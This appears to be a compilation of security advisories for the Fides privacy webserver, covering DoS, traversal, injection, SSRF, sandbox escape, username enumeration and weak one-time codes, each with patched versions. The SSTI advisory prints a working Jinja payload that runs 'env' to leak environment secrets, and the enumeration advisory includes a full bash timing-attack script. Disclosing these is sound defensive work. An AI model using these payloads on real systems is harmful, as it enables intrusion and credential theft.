Impact The Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit a weakness in the connector template upload feature to upload a malicious zip bomb file, resulting in resource exhaustion and service unavailability for all users of the Fides webserver.
This vulnerability affects Fides versions 2.11.0 through 2.15.1. Exploitation is limited to users with elevated privileges with the CONNECTORTEMPLATEREGISTER scope, which includes root users and users with the owner role.
Patches The vulnerability has been patched in Fides version 2.16.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds There is no known workaround to remediate this vulnerability without upgrading. If an attack occurs, the impact can be mitigated by manually or automatically restarting the affected container.
References More information about this type of vulnerability can be found at the following links:
- https://www.bamsoftware.com/hacks/zipbomb/ - https://python-security.readthedocs.io/security.html#archives-and-zip-bomb-cve-2019-9674
Impact The Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit this vulnerability to upload zip files containing malicious SVG bombs (similar to a billion laughs attack), causing resource exhaustion in Admin UI browser tabs and creating a persistent denial of service of the 'new connector' page (datastore-connection/new).
This vulnerability affects Fides versions 2.11.0 through 2.15.1. Exploitation is limited to users with elevated privileges with the CONNECTORTEMPLATEREGISTER scope, which includes root users and users with the owner role.
Patches The vulnerability has been patched in Fides version 2.16.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds There is no known workaround to remediate this vulnerability without upgrading.
Impact A path traversal (directory traversal) vulnerability affects fides versions lower than 2.15.1, allowing remote attackers to access arbitrary files on the fides webserver container's filesystem.
Patches The vulnerability is patched in fides 2.15.1. Users should upgrade to this version.
Workarounds If the Fides webserver API is not directly accessible to attackers and is instead deployed behind a reverse proxy as recommended in Ethyca's security best practice documentation, and the reverse proxy is an AWS application load balancer, the vulnerability can't be exploited by these attackers. An AWS application load balancer will reject this attack with a 400 error.
Additionally, any secrets supplied to the container using environment variables rather than a fides.toml configuration file are not affected by this vulnerability.
Impact
The Fides web application allows data subject users to request access to their personal data. If the request is approved by the data controller user operating the Fides web application, the data subject's personal data can then retrieved from connected systems and data stores before being bundled together as a data subject access request package for the data subject to download. Supported data formats for the package include json and csv, but the most commonly used format is a series of HTML files compressed in a ZIP file. Once downloaded and unzipped, the data subject user can browse the HTML files on their local machine.
It was identified that there was no validation of input coming from e.g. the connected systems and data stores which is later reflected in the downloaded data. This can result in an HTML injection that can be abused e.g. for phishing attacks or malicious JavaScript code execution, but only in the context of the data subject's browser accessing a HTML page using the file:// protocol.
Exploitation is limited to rogue Admin UI users, malicious connected system / data store users, and the data subject user if tricked via social engineering into submitting malicious data themselves.
Patches The vulnerability has been patched in Fides version TBC. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds Only Fides deployments which have been configured to use html as the package format in the storage destination are vulnerable. Using json or csv instead eliminates this vulnerability.
Impact The Fides web application allows users to edit consent and privacy notices such as cookie banners. These privacy notices can then be served by other integrated websites, for example in cookie consent banners. One of the editable fields is a privacy policy URL and this input was found to not be validated.
The vulnerability makes it possible to craft a payload in the privacy policy URL which triggers JavaScript execution when the privacy notice is served by an integrated website. The domain scope of the executed JavaScript is that of the integrated website.
Exploitation is limited to Admin UI users with the contributor role or higher.
Patches The vulnerability has been patched in Fides version 2.22.1. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds There are no workarounds.
Impact
The Fides web application allows a custom integration to be uploaded as a ZIP file containing configuration and dataset definitions in YAML format.
It was discovered that specially crafted YAML dataset and config files allow a malicious user to perform arbitrary requests to internal systems and exfiltrate data outside the environment (also known as a Server-Side Request Forgery). The application does not perform proper validation to block attempts to connect to internal (including localhost) resources.
Exploitation is limited to API clients with the CONNECTORTEMPLATEREGISTER authorization scope. In the Fides Admin UI this scope is restricted to highly privileged users, specifically root users and users with the owner role.
Patches The vulnerability has been patched in Fides version 2.22.1. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds There are no workarounds.
Impact The Fides webserver API allows users to retrieve its configuration using the GET api/v1/config endpoint. The configuration data is filtered to suppress most sensitive configuration information before it is returned to the user, but even the filtered data contains information about the internals and the backend infrastructure, such as various settings, servers’ addresses and ports and database username. This information is useful for administrative users as well as attackers, thus it should not be revealed to low-privileged users.
This vulnerability allows Admin UI users with roles lower than the owner role e.g. the viewer role to retrieve the config information using the API.
Patches The vulnerability has been patched in Fides version 2.22.1. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds There are no workarounds.
Summary The Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default Owner or Contributor role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.
Details The application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.
It was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.
Admin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability: - Owner - Contributor
OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.
Impact This vulnerability allows an attacker with sufficient privileges (Owner, Contributor, messaging-template:update) to execute arbitrary code remotely (Remote Code Execution) and escalate their privileges to those of a user on the Fides Webserver container. This escalated access grants the attacker control of the Fides Webserver application, including unauthorized access to integrated resources such as the hosted database, hosted cache, integrated data stores, and integrated SaaS applications. Potential impacts range from denial of service to the exfiltration of sensitive data unavailable to the user prior to the escalation of access.
Patches The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds There are no workarounds.
PoC The following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables: jinja Your privacy request has been denied. bb {% for s in ().class.base.subclasses() %}{% if "warning" in s.name %}{{s().module.builtins'import'.popen("env").read() }}{% endif %} {% endfor %} aa
The following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template: http PUT /api/v1/messaging/templates/autogenerated-mesce649254-a90b-4073-ae12-193650064220 HTTP/2 Host: <redacted host> Cookie: fbp=fb.1.17232<..REDACTED>ga=GA1.1.263756963.1723471626 Content-Length: 361 Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126" Unescape-Safestr: true Sec-Ch-Ua-Mobile: ?0 Authorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..<REDACTED> User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Content-Type: application/json Access-Control-Allow-Origin: X-Fides-Source: fidesops-admin-ui Sec-Ch-Ua-Platform: "Linux" Accept: / Origin: https://<redacted host> Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://<redacted host>/messaging/autogenerated-mesce649254-a90b-4073-ae12-193650064220 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=1, i
{ "isenabled": true, "content": { "subject": "Your privacy request has been denied XXX", "body": "Your privacy request has been denied. \nbb\n{% for s in ().class.base.subclasses() %}{% if \"warning\" in s.name %}{{s().module.builtins'import'.popen(\"env\").read() }}{% endif %}\n{% endfor %}\naa\n" }, "properties": [ "FDS-JICO87" ] }
As a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container's environment variables will be included in the email the end-user receives.
<img width="851" alt="rce-email" src="https://github.com/user-attachments/assets/97a395c6-b163-4656-b551-fe3dcd748813">
Impact The Fides webserver API allows custom integrations to be uploaded as a ZIP file. This ZIP file must contain YAML files, but Fides can be configured to also accept the inclusion of custom Python code in it. The custom code is executed in a restricted, sandboxed environment, but the sandbox can be bypassed to execute any arbitrary code.
The vulnerability allows the execution of arbitrary code on the target system within the context of the webserver python process owner on the webserver container, which by default is root, and leverage that access to attack underlying infrastructure and integrated systems.
This vulnerability affects Fides versions 2.11.0 through 2.18.0.
Exploitation is limited to API clients with the CONNECTORTEMPLATEREGISTER authorization scope. In the Fides Admin UI this scope is restricted to highly privileged users, specifically root users and users with the owner role.
Exploitation is only possible if the security configuration parameter allowcustomconnectorfunctions is enabled by the user deploying the Fides webserver container, either in fides.toml or by setting the env var FIDESSECURITYALLOWCUSTOMCONNECTORFUNCTIONS=True. By default this configuration parameter is disabled.
Patches The vulnerability has been patched in Fides version 2.19.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds Ensure that allowcustomconnectorfunctions in fides.toml and the FIDESSECURITYALLOWCUSTOMCONNECTORFUNCTIONS are both either unset or explicit set to False.
A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system.
Impact This vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server's response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.
Patches The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds There are no workarounds.
Proof of Concept
1. Create a valid user called validuser on a remote Fides server. Ensure that there is no user on the server named invaliduser. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests. 2. In a terminal run export LOGINURL='https://example.com/api/v1/login', replacing example.com with your remote Fides server's domain or IP address. 3. In the same terminal run exploit-poc.sh (detailed below). 4. It's possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.
<details> <summary>Exploit PoC script</summary>
bash #!/bin/bash
Function to test login and calculate average transfer times testlogin(){ echo -e "\nTesting login for user: $1\n" totaldiff=0
for (( i=1; i <= 20; ++i )) do echo -n "Attempt #$i: " resp=$(curl -w @- "$LOGINURL" \ -H 'content-type: application/json' \ --data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \ -o /dev/null -s <<'EOF' { "pretransfer": %{timepretransfer}, "starttransfer": %{timestarttransfer} } EOF ) pre=$(echo $resp | jq '.pretransfer') start=$(echo $resp | jq '.starttransfer') diff=$(echo "$start - $pre" | bc)
# Accumulate total diff totaldiff=$(echo "$totaldiff + $diff" | bc) # Print the result of this iteration printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff" done # Calculate average diff avgdiff=$(echo "scale=4; $totaldiff / 20" | bc) # Print average time echo -e "\nAverage Time Difference for $1: $avgdiff seconds\n" }
Ensure that LOGINURL is set if [ -z "$LOGINURL" ]; then echo "Error: LOGINURL environment variable is not set." exit 1 fi
Test valid and invalid users testlogin validuser testlogin invaliduser
</details>
<details> <summary>Sample script run</summary>
~ ❯ ./exploit-poc.sh
Testing login for user: validuser
Attempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398 Attempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751 Attempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512 Attempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932 Attempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127 Attempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113 Attempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085 Attempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344 Attempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673 Attempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321 Attempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029 Attempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014 Attempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336 Attempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201 Attempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235 Attempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078 Attempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517 Attempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572 Attempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564 Attempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785
Average Time Difference for validuser: .6779 seconds
Testing login for user: invaliduser
Attempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626 Attempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498 Attempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694 Attempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122 Attempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088 Attempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406 Attempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599 Attempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518 Attempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353 Attempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476 Attempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443 Attempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573 Attempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361 Attempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440 Attempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449 Attempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512 Attempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673 Attempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977 Attempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013 Attempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410
Average Time Difference for invaliduser: .3161 seconds
~ ❯ </details>
Severity
This vulnerability has been assigned a severity of LOW.
Using CVSS v3.1 it could be scored asAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3 Medium/Moderate) or AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N (0.0 None) depending on the Confidentiality impact metric used.
In Bugcrowd's vulnerability rating taxonomy it most likely be assigned a technical severity of P4 (Low) Broken Access Control (BAC) > Username/Email Enumeration > Non-Brute Force.
Impact
The Fides Privacy Center allows data subject users to submit privacy and consent requests to data controller users of the Fides web application.
Privacy requests allow data subjects to submit a request to access all person data held by the data controller, or delete/erase it. Consent request allows data subject users to modify their privacy preferences for how the data controller uses their personal data e.g. data sales and sharing consent opt-in/opt-out.
If subjectidentityverificationrequired in the [execution] section of fides.toml or the env var FIDESEXECUTIONSUBJECTIDENTITYVERIFICATIONREQUIRED is set to True on the fides webserver backend, data subjects are sent a one-time code to their email address or phone number, depending on messaging configuration, and the one-time code must be entered in the Privacy Center UI by the data subject before the privacy or consent request is submitted.
It was identified that the one-time code values for these requests were generated by the python random module, a cryptographically weak pseduo-random number generator (PNRG). If an attacker generates several hundred consecutive one-time codes, this vulnerability allows the attacker to predict all future one-time code values during the lifetime of the backend python process.
There is no security impact on data access requests as the personal data download package is not shared in the Privacy Center itself. However, this vulnerability allows an attacker to (i) submit a verified data erasure request, resulting in deletion of data for the targeted user and (ii) submit a verified consent request, modifying a user's privacy preferences.
Patches The vulnerability has been patched in Fides version 2.24.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds None
References https://peps.python.org/pep-0506/